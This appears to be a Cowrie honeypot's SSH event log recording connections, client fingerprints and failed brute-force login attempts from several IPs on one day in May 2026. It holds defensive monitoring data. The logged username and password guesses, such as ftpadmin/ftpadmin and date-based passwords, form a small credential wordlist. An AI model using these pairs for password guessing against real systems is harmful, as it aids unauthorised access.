{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:48.593284Z","src_ip":"92.205.57.72","session":"3735f0e788d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:48.685603Z","src_ip":"92.205.57.72","session":"3735f0e788d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"pa$$w0rd","message":"login attempt [hadoop/pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:49.085318Z","src_ip":"92.205.57.72","session":"3735f0e788d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:44:50.180964Z","src_ip":"92.205.57.72","session":"3735f0e788d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":37754,"dst_ip":"10.17.0.5","dst_port":22,"session":"254bc27ac8a4","protocol":"ssh","message":"New connection: 92.205.57.72:37754 (10.17.0.5:22) [session: 254bc27ac8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:38.619379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:38.623698Z","src_ip":"92.205.57.72","session":"254bc27ac8a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:38.720618Z","src_ip":"92.205.57.72","session":"254bc27ac8a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"ftpadmin","message":"login attempt [ftpadmin/ftpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:39.126605Z","src_ip":"92.205.57.72","session":"254bc27ac8a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:40.225039Z","src_ip":"92.205.57.72","session":"254bc27ac8a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":48816,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aeb5fce402d","protocol":"ssh","message":"New connection: 200.118.150.20:48816 (159.203.135.109:22) [session: 9aeb5fce402d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:51.364810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:51.369096Z","src_ip":"200.118.150.20","session":"9aeb5fce402d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:51.459064Z","src_ip":"200.118.150.20","session":"9aeb5fce402d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser123","message":"login attempt [fastuser/fastuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:51.846252Z","src_ip":"200.118.150.20","session":"9aeb5fce402d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:52.940560Z","src_ip":"200.118.150.20","session":"9aeb5fce402d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.244.162","src_port":13337,"dst_ip":"10.17.0.5","dst_port":22,"session":"5633cb6f683a","protocol":"ssh","message":"New connection: 49.207.244.162:13337 (10.17.0.5:22) [session: 5633cb6f683a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:53.083056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:53.087512Z","src_ip":"49.207.244.162","session":"5633cb6f683a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:53.299246Z","src_ip":"49.207.244.162","session":"5633cb6f683a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tsserver","password":"tsserver","message":"login attempt [tsserver/tsserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:54.160917Z","src_ip":"49.207.244.162","session":"5633cb6f683a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:45:55.371305Z","src_ip":"49.207.244.162","session":"5633cb6f683a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":43396,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebac55027f3d","protocol":"ssh","message":"New connection: 92.205.57.72:43396 (10.17.0.5:22) [session: ebac55027f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:46:28.671488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:46:28.675946Z","src_ip":"92.205.57.72","session":"ebac55027f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:46:28.766390Z","src_ip":"92.205.57.72","session":"ebac55027f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest999","message":"login attempt [guest/guest999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:46:29.156424Z","src_ip":"92.205.57.72","session":"ebac55027f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:46:30.248811Z","src_ip":"92.205.57.72","session":"ebac55027f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43316,"dst_ip":"10.17.0.5","dst_port":22,"session":"db854d93ee6b","protocol":"ssh","message":"New connection: 193.32.162.145:43316 (10.17.0.5:22) [session: db854d93ee6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:46:57.881441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:46:57.886029Z","src_ip":"193.32.162.145","session":"db854d93ee6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:46:57.993761Z","src_ip":"193.32.162.145","session":"db854d93ee6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shredstream","password":"shredstream","message":"login attempt [shredstream/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:46:58.406013Z","src_ip":"193.32.162.145","session":"db854d93ee6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:46:59.516443Z","src_ip":"193.32.162.145","session":"db854d93ee6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":36294,"dst_ip":"10.17.0.5","dst_port":22,"session":"eec97a7409dd","protocol":"ssh","message":"New connection: 92.205.57.72:36294 (10.17.0.5:22) [session: eec97a7409dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:47:20.276505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:47:20.281192Z","src_ip":"92.205.57.72","session":"eec97a7409dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:47:20.370680Z","src_ip":"92.205.57.72","session":"eec97a7409dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome!","message":"login attempt [ubuntu/Welcome!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:47:20.758113Z","src_ip":"92.205.57.72","session":"eec97a7409dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:47:21.850848Z","src_ip":"92.205.57.72","session":"eec97a7409dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":32074,"dst_ip":"10.17.0.5","dst_port":22,"session":"67670da259fc","protocol":"ssh","message":"New connection: 2.57.121.25:32074 (10.17.0.5:22) [session: 67670da259fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:01.804531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:01.810825Z","src_ip":"2.57.121.25","session":"67670da259fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:01.911166Z","src_ip":"2.57.121.25","session":"67670da259fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26121995","message":"login attempt [user/26121995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:02.382376Z","src_ip":"2.57.121.25","session":"67670da259fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26121992","message":"login attempt [user/26121992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:03.488737Z","src_ip":"2.57.121.25","session":"67670da259fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26081984","message":"login attempt [user/26081984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:04.591633Z","src_ip":"2.57.121.25","session":"67670da259fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26071994","message":"login attempt [user/26071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:05.693964Z","src_ip":"2.57.121.25","session":"67670da259fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"26051991","message":"login attempt [user/26051991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:06.797690Z","src_ip":"2.57.121.25","session":"67670da259fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:07.900618Z","src_ip":"2.57.121.25","session":"67670da259fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":35392,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9aafca87fc6","protocol":"ssh","message":"New connection: 92.205.57.72:35392 (10.17.0.5:22) [session: f9aafca87fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:10.946308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:48:10.951533Z","src_ip":"92.205.57.72","session":"f9aafca87fc6","protocol":"ssh"}
